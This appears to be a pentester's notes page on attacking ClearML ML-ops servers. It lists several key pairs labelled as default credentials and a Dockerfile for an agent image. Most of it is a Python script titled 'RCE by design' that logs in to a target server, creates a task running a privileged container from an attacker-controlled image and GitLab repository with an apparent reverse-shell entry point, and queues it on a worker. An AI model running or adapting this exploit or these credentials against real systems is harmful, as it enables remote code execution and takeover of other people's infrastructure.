ClearML

Default creds

GGS9F4M6XB2DXJ5AFT9F:2oGujVFhPfaozhpuz2GzQfA5OyxmMsR3WVJpsCR5hrgHFs20PO

XXCRJ123CEE2KSQ068WO:YIy8EVAC7QCT4FtgitxAQGyW7xRHDZ4jpYlTE7HKiscpORl1hG

GK4PRTVT3706T25K6BA1:ymLh1ok5k5xNUQfS944Xdx9xjf0wueokqKM2dMZfHuH9ayItG2

ENP39EQM4SLACGD5FXB7:lPcm0imbcBZ8mwgO7tpadutiS3gnJD05x9j7afwXPS35IKbpiQ

Local deploy

Helm charts

Agent in docker

FROM allegroai/clearml-agent:latest

RUN apt-key adv --fetch-keys https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/3bf863cc.pub && \
    apt-key adv --fetch-keys https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/7fa2af80.pub

RUN apt-get update && apt-get install -y patchelf

RUN mkdir -p /lib-custom

COPY ./build-context/docker /usr/bin/docker

# delayem ldd na docker on host and copy all libs
COPY ./build-context/lib-custom/libc-custom.so.6 /lib-custom/libc.so.6
COPY ./build-context/lib-custom/ld-custom.so.2 /lib-custom/ld-linux-x86-64.so.2
COPY ./build-context/lib-custom/libdl.so.2 /lib-custom/libdl.so.2

RUN patchelf --set-interpreter /lib-custom/ld-linux-x86-64.so.2 /usr/bin/docker && \
    patchelf --set-rpath /lib-custom /usr/bin/docker

RCE by design

import requests
import base64
from checklib import *
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


ACCESS_KEY = "accesskey"
SECRET_KEY = "secretkey"

HEADERS = {"Authorization": f"Basic {base64.b64encode((ACCESS_KEY+':'+SECRET_KEY).encode()).decode()}", "X-Allegro-Client": "Webapp-2.0.0-613", "Accept-Language": "en-US,en;q=0.9", "Accept": "application/json", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}

PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}

TARGET = "https://target.com"


sess = requests.Session()
sess.proxies.update(PROXIES)
sess.verify = False


burp0_url = f"{TARGET}/auth.login"

token = sess.get(burp0_url, headers=HEADERS).json()["data"]["token"]
print("[+] Obtained token:", token)


## create project ONCE

burp0_url = f"{TARGET}/projects.create"
burp0_json={"name":"kltest","system_tags":[],"default_output_destination":None}
project_id = sess.post(burp0_url, headers=HEADERS, json=burp0_json).json()["data"]["id"]
#project_id = "44f0966672e943b18c29b320264269be"
print("[+] Project ID:", project_id)


burp0_url = f"{TARGET}/tasks.create"
#task_docker_worker={"container": {"arguments": "--privileged -e CLEARML_AGENT_FORCE_TASK_INIT=1 -e CLEARML_AGENT_SKIP_PYTHON_ENV_INSTALL=1", "image": "username1337/clearml-py:latest", "setup_shell_script": ""}, "hyperparams": {"Args": {}}, "name": rnd_string(10), "project": project_id, "script": {"binary": "python3", "branch": "master", "diff": None, "entry_point": "/root/rev.py", "repository": None, "requirements": None, "working_dir": "."}, "type": "training"}
task_kube_worker = {  "container": {"arguments": "--privileged -e CLEARML_AGENT_FORCE_TASK_INIT=1 -e CLEARML_AGENT_SKIP_PYTHON_ENV_INSTALL=1","image": "username1337/clearml-py:latest","setup_shell_script": ""  },  "hyperparams": {"Args": {}  },  "name": rnd_string(10),  "project": project_id,  "script": {"binary": "python3","branch": "main","diff": None,"entry_point": "/root/rev.py","repository": "https://gitlab.com/username1337/kekw.git","requirements": None,"working_dir": "."  },  "type": "training"}
r = sess.post(burp0_url, headers=HEADERS, json=task_kube_worker).json()

task_id = r["data"]["id"]
print("[+] Created task with ID:", task_id)

burp0_url = f"{TARGET}/workers.get_all"
queue_id = sess.post(burp0_url, headers=HEADERS).json()["data"]["workers"][0]["queues"][0]["id"]
print("[+] Using queue ID:", queue_id)

burp0_url = f"{TARGET}/tasks.enqueue"
burp0_json={"queue": queue_id, "task": task_id, "verify_watched_queue": True}
sess.post(burp0_url, headers=HEADERS, json=burp0_json)


## stop task

# burp0_url = f"{TARGET}/tasks.stop_many"
# burp0_json={"ids": [task_id]}
# sess.post(burp0_url, headers=HEADERS, json=burp0_json)



# delete project
# burp0_url = f"{TARGET}/projects.delete"
# burp0_json = {"project":project_id,"system_tags":[],"force":True, "delete_contents":True,"default_output_destination":None}
# sess.post(burp0_url, headers=HEADERS, json=burp0_json)